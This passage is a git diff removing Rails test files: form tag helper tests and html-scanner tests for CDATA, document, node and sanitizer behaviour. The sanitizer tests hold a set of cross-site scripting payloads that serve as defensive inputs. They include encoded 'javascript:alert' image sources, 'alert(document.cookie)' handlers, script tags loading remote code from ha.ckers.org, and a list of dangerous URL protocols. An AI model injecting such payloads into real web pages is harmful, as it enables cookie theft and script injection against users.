- actual = text_field_tag "title", "Hello!", "size" => "75"
- expected = %(<input id="title" name="title" size="75" type="text" value="Hello!" />)
- assert_dom_equal expected, actual
- end
-
- def test_text_field_tag_maxlength_symbol
- actual = text_field_tag "title", "Hello!", :maxlength => 75
- expected = %(<input id="title" name="title" maxlength="75" type="text" value="Hello!" />)
- assert_dom_equal expected, actual
- end
-
- def test_text_field_tag_maxlength_string
- actual = text_field_tag "title", "Hello!", "maxlength" => "75"
- expected = %(<input id="title" name="title" maxlength="75" type="text" value="Hello!" />)
- assert_dom_equal expected, actual
- end
-
- def test_text_field_disabled
- actual = text_field_tag "title", "Hello!", :disabled => :true
- expected = %(<input id="title" name="title" disabled="disabled" type="text" value="Hello!" />)
- assert_dom_equal expected, actual
- end
-
- def test_text_field_tag_with_multiple_options
- actual = text_field_tag "title", "Hello!", :size => 70, :maxlength => 80
- expected = %(<input id="title" name="title" size="70" maxlength="80" type="text" value="Hello!" />)
- assert_dom_equal expected, actual
- end
-
- def test_text_field_tag_id_sanitized
- input_elem = root_elem(text_field_tag("item[][title]"))
- assert_match VALID_HTML_ID, input_elem['id']
- end
-
- def test_label_tag_without_text
- actual = label_tag "title"
- expected = %(<label for="title">Title</label>)
- assert_dom_equal expected, actual
- end
-
- def test_label_tag_with_symbol
- actual = label_tag :title
- expected = %(<label for="title">Title</label>)
- assert_dom_equal expected, actual
- end
-
- def test_label_tag_with_text
- actual = label_tag "title", "My Title"
- expected = %(<label for="title">My Title</label>)
- assert_dom_equal expected, actual
- end
-
- def test_label_tag_class_string
- actual = label_tag "title", "My Title", "class" => "small_label"
- expected = %(<label for="title" class="small_label">My Title</label>)
- assert_dom_equal expected, actual
- end
-
- def test_label_tag_id_sanitized
- label_elem = root_elem(label_tag("item[title]"))
- assert_match VALID_HTML_ID, label_elem['for']
- end
-
- def test_label_tag_with_block
- assert_dom_equal('<label>Blocked</label>', label_tag { "Blocked" })
- end
-
- def test_label_tag_with_block_and_argument
- output = label_tag("clock") { "Grandfather" }
- assert_dom_equal('<label for="clock">Grandfather</label>', output)
- end
-
- def test_label_tag_with_block_and_argument_and_options
- output = label_tag("clock", :id => "label_clock") { "Grandfather" }
- assert_dom_equal('<label for="clock" id="label_clock">Grandfather</label>', output)
- end
-
- def test_boolean_options
- assert_dom_equal %(<input checked="checked" disabled="disabled" id="admin" name="admin" readonly="readonly" type="checkbox" value="1" />), check_box_tag("admin", 1, true, 'disabled' => true, :readonly => "yes")
- assert_dom_equal %(<input checked="checked" id="admin" name="admin" type="checkbox" value="1" />), check_box_tag("admin", 1, true, :disabled => false, :readonly => nil)
- assert_dom_equal %(<input type="checkbox" />), tag(:input, :type => "checkbox", :checked => false)
- assert_dom_equal %(<select id="people" multiple="multiple" name="people[]"><option>david</option></select>), select_tag("people", "<option>david</option>".html_safe, :multiple => true)
- assert_dom_equal %(<select id="people_" multiple="multiple" name="people[]"><option>david</option></select>), select_tag("people[]", "<option>david</option>".html_safe, :multiple => true)
- assert_dom_equal %(<select id="people" name="people"><option>david</option></select>), select_tag("people", "<option>david</option>".html_safe, :multiple => nil)
- end
-
- def test_stringify_symbol_keys
- actual = text_field_tag "title", "Hello!", :id => "admin"
- expected = %(<input id="admin" name="title" type="text" value="Hello!" />)
- assert_dom_equal expected, actual
- end
-
- def test_submit_tag
- assert_dom_equal(
- %(<input name='commit' data-disable-with="Saving..." onclick="alert(&#39;hello!&#39;)" type="submit" value="Save" />),
- submit_tag("Save", :onclick => "alert('hello!')", :data => { :disable_with => "Saving..." })
- )
- end
-
- def test_submit_tag_with_no_onclick_options
- assert_dom_equal(
- %(<input name='commit' data-disable-with="Saving..." type="submit" value="Save" />),
- submit_tag("Save", :data => { :disable_with => "Saving..." })
- )
- end
-
- def test_submit_tag_with_confirmation
- assert_dom_equal(
- %(<input name='commit' type='submit' value='Save' data-confirm="Are you sure?" />),
- submit_tag("Save", :data => { :confirm => "Are you sure?" })
- )
- end
-
- def test_submit_tag_with_deprecated_confirmation
- assert_deprecated ":confirm option is deprecated and will be removed from Rails 4.1. Use 'data: { confirm: \'Text\' }' instead" do
- assert_dom_equal(
- %(<input name='commit' type='submit' value='Save' data-confirm="Are you sure?" />),
- submit_tag("Save", :confirm => "Are you sure?")
- )
- end
- end
-
- def test_button_tag
- assert_dom_equal(
- %(<button name="button" type="submit">Button</button>),
- button_tag
- )
- end
-
- def test_button_tag_with_submit_type
- assert_dom_equal(
- %(<button name="button" type="submit">Save</button>),
- button_tag("Save", :type => "submit")
- )
- end
-
- def test_button_tag_with_button_type
- assert_dom_equal(
- %(<button name="button" type="button">Button</button>),
- button_tag("Button", :type => "button")
- )
- end
-
- def test_button_tag_with_reset_type
- assert_dom_equal(
- %(<button name="button" type="reset">Reset</button>),
- button_tag("Reset", :type => "reset")
- )
- end
-
- def test_button_tag_with_disabled_option
- assert_dom_equal(
- %(<button name="button" type="reset" disabled="disabled">Reset</button>),
- button_tag("Reset", :type => "reset", :disabled => true)
- )
- end
-
- def test_button_tag_escape_content
- assert_dom_equal(
- %(<button name="button" type="reset" disabled="disabled">&lt;b&gt;Reset&lt;/b&gt;</button>),
- button_tag("<b>Reset</b>", :type => "reset", :disabled => true)
- )
- end
-
- def test_button_tag_with_block
- assert_dom_equal('<button name="button" type="submit">Content</button>', button_tag { 'Content' })
- end
-
- def test_button_tag_with_block_and_options
- output = button_tag(:name => 'temptation', :type => 'button') { content_tag(:strong, 'Do not press me') }
- assert_dom_equal('<button name="temptation" type="button"><strong>Do not press me</strong></button>', output)
- end
-
- def test_button_tag_with_confirmation
- assert_dom_equal(
- %(<button name="button" type="submit" data-confirm="Are you sure?">Save</button>),
- button_tag("Save", :type => "submit", :data => { :confirm => "Are you sure?" })
- )
- end
-
- def test_button_tag_with_deprecated_confirmation
- assert_deprecated ":confirm option is deprecated and will be removed from Rails 4.1. Use 'data: { confirm: \'Text\' }' instead" do
- assert_dom_equal(
- %(<button name="button" type="submit" data-confirm="Are you sure?">Save</button>),
- button_tag("Save", :type => "submit", :confirm => "Are you sure?")
- )
- end
- end
-
- def test_image_submit_tag_with_confirmation
- assert_dom_equal(
- %(<input type="image" src="/images/save.gif" data-confirm="Are you sure?" />),
- image_submit_tag("save.gif", :data => { :confirm => "Are you sure?" })
- )
- end
-
- def test_image_submit_tag_with_deprecated_confirmation
- assert_deprecated ":confirm option is deprecated and will be removed from Rails 4.1. Use 'data: { confirm: \'Text\' }' instead" do
- assert_dom_equal(
- %(<input type="image" src="/images/save.gif" data-confirm="Are you sure?" />),
- image_submit_tag("save.gif", :confirm => "Are you sure?")
- )
- end
- end
-
-
- def test_color_field_tag
- expected = %{<input id="car" name="car" type="color" />}
- assert_dom_equal(expected, color_field_tag("car"))
- end
-
- def test_search_field_tag
- expected = %{<input id="query" name="query" type="search" />}
- assert_dom_equal(expected, search_field_tag("query"))
- end
-
- def test_telephone_field_tag
- expected = %{<input id="cell" name="cell" type="tel" />}
- assert_dom_equal(expected, telephone_field_tag("cell"))
- end
-
- def test_date_field_tag
- expected = %{<input id="cell" name="cell" type="date" />}
- assert_dom_equal(expected, date_field_tag("cell"))
- end
-
- def test_time_field_tag
- expected = %{<input id="cell" name="cell" type="time" />}
- assert_dom_equal(expected, time_field_tag("cell"))
- end
-
- def test_datetime_field_tag
- expected = %{<input id="appointment" name="appointment" type="datetime" />}
- assert_dom_equal(expected, datetime_field_tag("appointment"))
- end
-
- def test_datetime_local_field_tag
- expected = %{<input id="appointment" name="appointment" type="datetime-local" />}
- assert_dom_equal(expected, datetime_local_field_tag("appointment"))
- end
-
- def test_month_field_tag
- expected = %{<input id="birthday" name="birthday" type="month" />}
- assert_dom_equal(expected, month_field_tag("birthday"))
- end
-
- def test_week_field_tag
- expected = %{<input id="birthday" name="birthday" type="week" />}
- assert_dom_equal(expected, week_field_tag("birthday"))
- end
-
- def test_url_field_tag
- expected = %{<input id="homepage" name="homepage" type="url" />}
- assert_dom_equal(expected, url_field_tag("homepage"))
- end
-
- def test_email_field_tag
- expected = %{<input id="address" name="address" type="email" />}
- assert_dom_equal(expected, email_field_tag("address"))
- end
-
- def test_number_field_tag
- expected = %{<input name="quantity" max="9" id="quantity" type="number" min="1" />}
- assert_dom_equal(expected, number_field_tag("quantity", nil, :in => 1...10))
- end
-
- def test_range_input_tag
- expected = %{<input name="volume" step="0.1" max="11" id="volume" type="range" min="0" />}
- assert_dom_equal(expected, range_field_tag("volume", nil, :in => 0..11, :step => 0.1))
- end
-
- def test_field_set_tag_in_erb
- output_buffer = render_erb("<%= field_set_tag('Your details') do %>Hello world!<% end %>")
-
- expected = %(<fieldset><legend>Your details</legend>Hello world!</fieldset>)
- assert_dom_equal expected, output_buffer
-
- output_buffer = render_erb("<%= field_set_tag do %>Hello world!<% end %>")
-
- expected = %(<fieldset>Hello world!</fieldset>)
- assert_dom_equal expected, output_buffer
-
- output_buffer = render_erb("<%= field_set_tag('') do %>Hello world!<% end %>")
-
- expected = %(<fieldset>Hello world!</fieldset>)
- assert_dom_equal expected, output_buffer
-
- output_buffer = render_erb("<%= field_set_tag('', :class => 'format') do %>Hello world!<% end %>")
-
- expected = %(<fieldset class="format">Hello world!</fieldset>)
- assert_dom_equal expected, output_buffer
-
- output_buffer = render_erb("<%= field_set_tag %>")
-
- expected = %(<fieldset></fieldset>)
- assert_dom_equal expected, output_buffer
-
- output_buffer = render_erb("<%= field_set_tag('You legend!') %>")
-
- expected = %(<fieldset><legend>You legend!</legend></fieldset>)
- assert_dom_equal expected, output_buffer
- end
-
- def test_text_area_tag_options_symbolize_keys_side_effects
- options = { :option => "random_option" }
- text_area_tag "body", "hello world", options
- assert_equal options, { :option => "random_option" }
- end
-
- def test_submit_tag_options_symbolize_keys_side_effects
- options = { :option => "random_option" }
- submit_tag "submit value", options
- assert_equal options, { :option => "random_option" }
- end
-
- def test_button_tag_options_symbolize_keys_side_effects
- options = { :option => "random_option" }
- button_tag "button value", options
- assert_equal options, { :option => "random_option" }
- end
-
- def test_image_submit_tag_options_symbolize_keys_side_effects
- options = { :option => "random_option" }
- image_submit_tag "submit source", options
- assert_equal options, { :option => "random_option" }
- end
-
- def test_image_label_tag_options_symbolize_keys_side_effects
- options = { :option => "random_option" }
- label_tag "submit source", "title", options
- assert_equal options, { :option => "random_option" }
- end
-
- def protect_against_forgery?
- false
- end
-
- private
-
- def root_elem(rendered_content)
- HTML::Document.new(rendered_content).root.children[0]
- end
-end
diff --git a/actionpack/test/template/html-scanner/cdata_node_test.rb b/actionpack/test/template/html-scanner/cdata_node_test.rb
deleted file mode 100644
index 9b58174641..0000000000
--- a/actionpack/test/template/html-scanner/cdata_node_test.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-require 'abstract_unit'
-
-class CDATANodeTest < ActiveSupport::TestCase
- def setup
- @node = HTML::CDATA.new(nil, 0, 0, "<p>howdy</p>")
- end
-
- def test_to_s
- assert_equal "<![CDATA[<p>howdy</p>]]>", @node.to_s
- end
-
- def test_content
- assert_equal "<p>howdy</p>", @node.content
- end
-end
diff --git a/actionpack/test/template/html-scanner/document_test.rb b/actionpack/test/template/html-scanner/document_test.rb
deleted file mode 100644
index 17f045d549..0000000000
--- a/actionpack/test/template/html-scanner/document_test.rb
+++ /dev/null
@@ -1,148 +0,0 @@
-require 'abstract_unit'
-
-class DocumentTest < ActiveSupport::TestCase
- def test_handle_doctype
- doc = nil
- assert_nothing_raised do
- doc = HTML::Document.new <<-HTML.strip
- <!DOCTYPE "blah" "blah" "blah">
- <html>
- </html>
- HTML
- end
- assert_equal 3, doc.root.children.length
- assert_equal %{<!DOCTYPE "blah" "blah" "blah">}, doc.root.children[0].content
- assert_match %r{\s+}m, doc.root.children[1].content
- assert_equal "html", doc.root.children[2].name
- end
-
- def test_find_img
- doc = HTML::Document.new <<-HTML.strip
- <html>
- <body>
- <p><img src="hello.gif"></p>
- </body>
- </html>
- HTML
- assert doc.find(:tag=>"img", :attributes=>{"src"=>"hello.gif"})
- end
-
- def test_find_all
- doc = HTML::Document.new <<-HTML.strip
- <html>
- <body>
- <p class="test"><img src="hello.gif"></p>
- <div class="foo">
- <p class="test">something</p>
- <p>here is <em class="test">more</em></p>
- </div>
- </body>
- </html>
- HTML
- all = doc.find_all :attributes => { :class => "test" }
- assert_equal 3, all.length
- assert_equal [ "p", "p", "em" ], all.map { |n| n.name }
- end
-
- def test_find_with_text
- doc = HTML::Document.new <<-HTML.strip
- <html>
- <body>
- <p>Some text</p>
- </body>
- </html>
- HTML
- assert doc.find(:content => "Some text")
- assert doc.find(:tag => "p", :child => { :content => "Some text" })
- assert doc.find(:tag => "p", :child => "Some text")
- assert doc.find(:tag => "p", :content => "Some text")
- end
-
- def test_parse_xml
- assert_nothing_raised { HTML::Document.new("<tags><tag/></tags>", true, true) }
- assert_nothing_raised { HTML::Document.new("<outer><link>something</link></outer>", true, true) }
- end
-
- def test_parse_document
- doc = HTML::Document.new(<<-HTML)
- <div>
- <h2>blah</h2>
- <table>
- </table>
- </div>
- HTML
- assert_not_nil doc.find(:tag => "div", :children => { :count => 1, :only => { :tag => "table" } })
- end
-
- def test_tag_nesting_nothing_to_s
- doc = HTML::Document.new("<tag></tag>")
- assert_equal "<tag></tag>", doc.root.to_s
- end
-
- def test_tag_nesting_space_to_s
- doc = HTML::Document.new("<tag> </tag>")
- assert_equal "<tag> </tag>", doc.root.to_s
- end
-
- def test_tag_nesting_text_to_s
- doc = HTML::Document.new("<tag>text</tag>")
- assert_equal "<tag>text</tag>", doc.root.to_s
- end
-
- def test_tag_nesting_tag_to_s
- doc = HTML::Document.new("<tag><nested /></tag>")
- assert_equal "<tag><nested /></tag>", doc.root.to_s
- end
-
- def test_parse_cdata
- doc = HTML::Document.new(<<-HTML)
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
- "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
- <head>
- <title><![CDATA[<br>]]></title>
- </head>
- <body>
- <p>this document has &lt;br&gt; for a title</p>
- </body>
-</html>
-HTML
-
- assert_nil doc.find(:tag => "title", :descendant => { :tag => "br" })
- assert doc.find(:tag => "title", :child => "<br>")
- end
-
- def test_find_empty_tag
- doc = HTML::Document.new("<div id='map'></div>")
- assert_nil doc.find(:tag => "div", :attributes => { :id => "map" }, :content => /./)
- assert doc.find(:tag => "div", :attributes => { :id => "map" }, :content => /\A\Z/)
- assert doc.find(:tag => "div", :attributes => { :id => "map" }, :content => /^$/)
- assert doc.find(:tag => "div", :attributes => { :id => "map" }, :content => "")
- assert doc.find(:tag => "div", :attributes => { :id => "map" }, :content => nil)
- end
-
- def test_parse_invalid_document
- assert_nothing_raised do
- HTML::Document.new("<html>
- <table>
- <tr>
- <td style=\"color: #FFFFFF; height: 17px; onclick=\"window.location.href='http://www.rmeinc.com/about_rme.aspx'\" style=\"cursor:pointer; height: 17px;\"; nowrap onclick=\"window.location.href='http://www.rmeinc.com/about_rme.aspx'\" onmouseout=\"this.bgColor='#0066cc'; this.style.color='#FFFFFF'\" onmouseover=\"this.bgColor='#ffffff'; this.style.color='#0033cc'\">About Us</td>
- </tr>
- </table>
- </html>")
- end
- end
-
- def test_invalid_document_raises_exception_when_strict
- assert_raise RuntimeError do
- HTML::Document.new("<html>
- <table>
- <tr>
- <td style=\"color: #FFFFFF; height: 17px; onclick=\"window.location.href='http://www.rmeinc.com/about_rme.aspx'\" style=\"cursor:pointer; height: 17px;\"; nowrap onclick=\"window.location.href='http://www.rmeinc.com/about_rme.aspx'\" onmouseout=\"this.bgColor='#0066cc'; this.style.color='#FFFFFF'\" onmouseover=\"this.bgColor='#ffffff'; this.style.color='#0033cc'\">About Us</td>
- </tr>
- </table>
- </html>", true)
- end
- end
-
-end
diff --git a/actionpack/test/template/html-scanner/node_test.rb b/actionpack/test/template/html-scanner/node_test.rb
deleted file mode 100644
index 5b5d092036..0000000000
--- a/actionpack/test/template/html-scanner/node_test.rb
+++ /dev/null
@@ -1,89 +0,0 @@
-require 'abstract_unit'
-
-class NodeTest < ActiveSupport::TestCase
-
- class MockNode
- def initialize(matched, value)
- @matched = matched
- @value = value
- end
-
- def find(conditions)
- @matched && self
- end
-
- def to_s
- @value.to_s
- end
- end
-
- def setup
- @node = HTML::Node.new("parent")
- @node.children.concat [MockNode.new(false,1), MockNode.new(true,"two"), MockNode.new(false,:three)]
- end
-
- def test_match
- assert !@node.match("foo")
- end
-
- def test_tag
- assert !@node.tag?
- end
-
- def test_to_s
- assert_equal "1twothree", @node.to_s
- end
-
- def test_find
- assert_equal "two", @node.find('blah').to_s
- end
-
- def test_parse_strict
- s = "<b foo='hello'' bar='baz'>"
- assert_raise(RuntimeError) { HTML::Node.parse(nil,0,0,s) }
- end
-
- def test_parse_relaxed
- s = "<b foo='hello'' bar='baz'>"
- node = nil
- assert_nothing_raised { node = HTML::Node.parse(nil,0,0,s,false) }
- assert node.attributes.has_key?("foo")
- assert !node.attributes.has_key?("bar")
- end
-
- def test_to_s_with_boolean_attrs
- s = "<b foo bar>"
- node = HTML::Node.parse(nil,0,0,s)
- assert node.attributes.has_key?("foo")
- assert node.attributes.has_key?("bar")
- assert "<b foo bar>", node.to_s
- end
-
- def test_parse_with_unclosed_tag
- s = "<span onmouseover='bang'"
- node = nil
- assert_nothing_raised { node = HTML::Node.parse(nil,0,0,s,false) }
- assert node.attributes.has_key?("onmouseover")
- end
-
- def test_parse_with_valid_cdata_section
- s = "<![CDATA[<span>contents</span>]]>"
- node = nil
- assert_nothing_raised { node = HTML::Node.parse(nil,0,0,s,false) }
- assert_kind_of HTML::CDATA, node
- assert_equal '<span>contents</span>', node.content
- end
-
- def test_parse_strict_with_unterminated_cdata_section
- s = "<![CDATA[neverending..."
- assert_raise(RuntimeError) { HTML::Node.parse(nil,0,0,s) }
- end
-
- def test_parse_relaxed_with_unterminated_cdata_section
- s = "<![CDATA[neverending..."
- node = nil
- assert_nothing_raised { node = HTML::Node.parse(nil,0,0,s,false) }
- assert_kind_of HTML::CDATA, node
- assert_equal 'neverending...', node.content
- end
-end
diff --git a/actionpack/test/template/html-scanner/sanitizer_test.rb b/actionpack/test/template/html-scanner/sanitizer_test.rb
deleted file mode 100644
index d9b57776c9..0000000000
--- a/actionpack/test/template/html-scanner/sanitizer_test.rb
+++ /dev/null
@@ -1,315 +0,0 @@
-require 'abstract_unit'
-
-class SanitizerTest < ActionController::TestCase
- def setup
- @sanitizer = nil # used by assert_sanitizer
- end
-
- def test_strip_tags_with_quote
- sanitizer = HTML::FullSanitizer.new
- string = '<" <img src="trollface.gif" onload="alert(1)"> hi'
-
- assert_equal ' hi', sanitizer.sanitize(string)
- end
-
- def test_strip_tags
- sanitizer = HTML::FullSanitizer.new
- assert_equal("<<<bad html", sanitizer.sanitize("<<<bad html"))
- assert_equal("<<", sanitizer.sanitize("<<<bad html>"))
- assert_equal("Dont touch me", sanitizer.sanitize("Dont touch me"))
- assert_equal("This is a test.", sanitizer.sanitize("<p>This <u>is<u> a <a href='test.html'><strong>test</strong></a>.</p>"))
- assert_equal("Weirdos", sanitizer.sanitize("Wei<<a>a onclick='alert(document.cookie);'</a>/>rdos"))
- assert_equal("This is a test.", sanitizer.sanitize("This is a test."))
- assert_equal(
- %{This is a test.\n\n\nIt no longer contains any HTML.\n}, sanitizer.sanitize(
- %{<title>This is <b>a <a href="" target="_blank">test</a></b>.</title>\n\n<!-- it has a comment -->\n\n<p>It no <b>longer <strong>contains <em>any <strike>HTML</strike></em>.</strong></b></p>\n}))
- assert_equal "This has a here.", sanitizer.sanitize("This has a <!-- comment --> here.")
- assert_equal "This has a here.", sanitizer.sanitize("This has a <![CDATA[<section>]]> here.")
- assert_equal "This has an unclosed ", sanitizer.sanitize("This has an unclosed <![CDATA[<section>]] here...")
- [nil, '', ' '].each { |blank| assert_equal blank, sanitizer.sanitize(blank) }
- assert_nothing_raised { sanitizer.sanitize("This is a frozen string with no tags".freeze) }
- end
-
- def test_strip_links
- sanitizer = HTML::LinkSanitizer.new
- assert_equal "Dont touch me", sanitizer.sanitize("Dont touch me")
- assert_equal "on my mind\nall day long", sanitizer.sanitize("<a href='almost'>on my mind</a>\n<A href='almost'>all day long</A>")
- assert_equal "0wn3d", sanitizer.sanitize("<a href='http://www.rubyonrails.com/'><a href='http://www.rubyonrails.com/' onlclick='steal()'>0wn3d</a></a>")
- assert_equal "Magic", sanitizer.sanitize("<a href='http://www.rubyonrails.com/'>Mag<a href='http://www.ruby-lang.org/'>ic")
- assert_equal "FrrFox", sanitizer.sanitize("<href onlclick='steal()'>FrrFox</a></href>")
- assert_equal "My mind\nall <b>day</b> long", sanitizer.sanitize("<a href='almost'>My mind</a>\n<A href='almost'>all <b>day</b> long</A>")
- assert_equal "all <b>day</b> long", sanitizer.sanitize("<<a>a href='hello'>all <b>day</b> long<</A>/a>")
-
- assert_equal "<a<a", sanitizer.sanitize("<a<a")
- end
-
- def test_sanitize_form
- assert_sanitized "<form action=\"/foo/bar\" method=\"post\"><input></form>", ''
- end
-
- def test_sanitize_plaintext
- raw = "<plaintext><span>foo</span></plaintext>"
- assert_sanitized raw, "<span>foo</span>"
- end
-
- def test_sanitize_script
- assert_sanitized "a b c<script language=\"Javascript\">blah blah blah</script>d e f", "a b cd e f"
- end
-
- def test_sanitize_js_handlers
- raw = %{onthis="do that" <a href="#" onclick="hello" name="foo" onbogus="remove me">hello</a>}
- assert_sanitized raw, %{onthis="do that" <a name="foo" href="#">hello</a>}
- end
-
- def test_sanitize_javascript_href
- raw = %{href="javascript:bang" <a href="javascript:bang" name="hello">foo</a>, <span href="javascript:bang">bar</span>}
- assert_sanitized raw, %{href="javascript:bang" <a name="hello">foo</a>, <span>bar</span>}
- end
-
- def test_sanitize_image_src
- raw = %{src="javascript:bang" <img src="javascript:bang" width="5">foo</img>, <span src="javascript:bang">bar</span>}
- assert_sanitized raw, %{src="javascript:bang" <img width="5">foo</img>, <span>bar</span>}
- end
-
- HTML::WhiteListSanitizer.allowed_tags.each do |tag_name|
- define_method "test_should_allow_#{tag_name}_tag" do
- assert_sanitized "start <#{tag_name} title=\"1\" onclick=\"foo\">foo <bad>bar</bad> baz</#{tag_name}> end", %(start <#{tag_name} title="1">foo bar baz</#{tag_name}> end)
- end
- end
-
- def test_should_allow_anchors
- assert_sanitized %(<a href="foo" onclick="bar"><script>baz</script></a>), %(<a href="foo"></a>)
- end
-
- # RFC 3986, sec 4.2
- def test_allow_colons_in_path_component
- assert_sanitized("<a href=\"./this:that\">foo</a>")
- end
-
- %w(src width height alt).each do |img_attr|
- define_method "test_should_allow_image_#{img_attr}_attribute" do
- assert_sanitized %(<img #{img_attr}="foo" onclick="bar" />), %(<img #{img_attr}="foo" />)
- end
- end
-
- def test_should_handle_non_html
- assert_sanitized 'abc'
- end
-
- def test_should_handle_blank_text
- assert_sanitized nil
- assert_sanitized ''
- end
-
- def test_should_allow_custom_tags
- text = "<u>foo</u>"
- sanitizer = HTML::WhiteListSanitizer.new
- assert_equal(text, sanitizer.sanitize(text, :tags => %w(u)))
- end
-
- def test_should_allow_only_custom_tags
- text = "<u>foo</u> with <i>bar</i>"
- sanitizer = HTML::WhiteListSanitizer.new
- assert_equal("<u>foo</u> with bar", sanitizer.sanitize(text, :tags => %w(u)))
- end
-
- def test_should_allow_custom_tags_with_attributes
- text = %(<blockquote cite="http://example.com/">foo</blockquote>)
- sanitizer = HTML::WhiteListSanitizer.new
- assert_equal(text, sanitizer.sanitize(text))
- end
-
- def test_should_allow_custom_tags_with_custom_attributes
- text = %(<blockquote foo="bar">Lorem ipsum</blockquote>)
- sanitizer = HTML::WhiteListSanitizer.new
- assert_equal(text, sanitizer.sanitize(text, :attributes => ['foo']))
- end
-
- def test_should_raise_argument_error_if_tags_is_not_enumerable
- sanitizer = HTML::WhiteListSanitizer.new
- e = assert_raise(ArgumentError) do
- sanitizer.sanitize('', :tags => 'foo')
- end
-
- assert_equal "You should pass :tags as an Enumerable", e.message
- end
-
- def test_should_raise_argument_error_if_attributes_is_not_enumerable
- sanitizer = HTML::WhiteListSanitizer.new
- e = assert_raise(ArgumentError) do
- sanitizer.sanitize('', :attributes => 'foo')
- end
-
- assert_equal "You should pass :attributes as an Enumerable", e.message
- end
-
- [%w(img src), %w(a href)].each do |(tag, attr)|
- define_method "test_should_strip_#{attr}_attribute_in_#{tag}_with_bad_protocols" do
- assert_sanitized %(<#{tag} #{attr}="javascript:bang" title="1">boo</#{tag}>), %(<#{tag} title="1">boo</#{tag}>)
- end
- end
-
- def test_should_flag_bad_protocols
- sanitizer = HTML::WhiteListSanitizer.new
- %w(about chrome data disk hcp help javascript livescript lynxcgi lynxexec ms-help ms-its mhtml mocha opera res resource shell vbscript view-source vnd.ms.radio wysiwyg).each do |proto|
- assert sanitizer.send(:contains_bad_protocols?, 'src', "#{proto}://bad")
- end
- end
-
- def test_should_accept_good_protocols_ignoring_case
- sanitizer = HTML::WhiteListSanitizer.new
- HTML::WhiteListSanitizer.allowed_protocols.each do |proto|
- assert !sanitizer.send(:contains_bad_protocols?, 'src', "#{proto.capitalize}://good")
- end
- end
-
- def test_should_accept_good_protocols_ignoring_space
- sanitizer = HTML::WhiteListSanitizer.new
- HTML::WhiteListSanitizer.allowed_protocols.each do |proto|
- assert !sanitizer.send(:contains_bad_protocols?, 'src', " #{proto}://good")
- end
- end
-
- def test_should_accept_good_protocols
- sanitizer = HTML::WhiteListSanitizer.new
- HTML::WhiteListSanitizer.allowed_protocols.each do |proto|
- assert !sanitizer.send(:contains_bad_protocols?, 'src', "#{proto}://good")
- end
- end
-
- def test_should_reject_hex_codes_in_protocol
- assert_sanitized %(<a href="&#37;6A&#37;61&#37;76&#37;61&#37;73&#37;63&#37;72&#37;69&#37;70&#37;74&#37;3A&#37;61&#37;6C&#37;65&#37;72&#37;74&#37;28&#37;22&#37;58&#37;53&#37;53&#37;22&#37;29">1</a>), "<a>1</a>"
- assert @sanitizer.send(:contains_bad_protocols?, 'src', "%6A%61%76%61%73%63%72%69%70%74%3A%61%6C%65%72%74%28%22%58%53%53%22%29")
- end
-
- def test_should_block_script_tag
- assert_sanitized %(<SCRIPT\nSRC=http://ha.ckers.org/xss.js></SCRIPT>), ""
- end
-
- [%(<IMG SRC="javascript:alert('XSS');">),
- %(<IMG SRC=javascript:alert('XSS')>),
- %(<IMG SRC=JaVaScRiPt:alert('XSS')>),
- %(<IMG """><SCRIPT>alert("XSS")</SCRIPT>">),
- %(<IMG SRC=javascript:alert(&quot;XSS&quot;)>),
- %(<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>),
- %(<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>),
- %(<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>),
- %(<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>),
- %(<IMG SRC="jav\tascript:alert('XSS');">),
- %(<IMG SRC="jav&#x09;ascript:alert('XSS');">),
- %(<IMG SRC="jav&#x0A;ascript:alert('XSS');">),
- %(<IMG SRC="jav&#x0D;ascript:alert('XSS');">),
- %(<IMG SRC=" &#14; javascript:alert('XSS');">),
- %(<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>)].each_with_index do |img_hack, i|
- define_method "test_should_not_fall_for_xss_image_hack_#{i+1}" do
- assert_sanitized img_hack, "<img>"
- end
- end
-
- def test_should_sanitize_tag_broken_up_by_null
- assert_sanitized %(<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>), "alert(\"XSS\")"
- end
-
- def test_should_sanitize_invalid_script_tag
- assert_sanitized %(<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>), ""
- end
-
- def test_should_sanitize_script_tag_with_multiple_open_brackets
- assert_sanitized %(<<SCRIPT>alert("XSS");//<</SCRIPT>), "&lt;"
- assert_sanitized %(<iframe src=http://ha.ckers.org/scriptlet.html\n<a), %(&lt;a)
- end
-
- def test_should_sanitize_unclosed_script
- assert_sanitized %(<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>), "<b>"
- end
-
- def test_should_sanitize_half_open_scripts
- assert_sanitized %(<IMG SRC="javascript:alert('XSS')"), "<img>"
- end
-
- def test_should_not_fall_for_ridiculous_hack
- img_hack = %(<IMG\nSRC\n=\n"\nj\na\nv\na\ns\nc\nr\ni\np\nt\n:\na\nl\ne\nr\nt\n(\n'\nX\nS\nS\n'\n)\n"\n>)
- assert_sanitized img_hack, "<img>"
- end
-
- def test_should_sanitize_attributes
- assert_sanitized %(<SPAN title="'><script>alert()</script>">blah</SPAN>), %(<span title="#{CGI.escapeHTML "'><script>alert()</script>"}">blah</span>)
- end
-
- def test_should_sanitize_illegal_style_properties
- raw = %(display:block; position:absolute; left:0; top:0; width:100%; height:100%; z-index:1; background-color:black; background-image:url(http://www.ragingplatypus.com/i/cam-full.jpg); background-x:center; background-y:center; background-repeat:repeat;)
- expected = %(display: block; width: 100%; height: 100%; background-color: black; background-image: ; background-x: center; background-y: center;)
- assert_equal expected, sanitize_css(raw)
- end
-
- def test_should_sanitize_with_trailing_space
- raw = "display:block; "
- expected = "display: block;"
- assert_equal expected, sanitize_css(raw)
- end
-
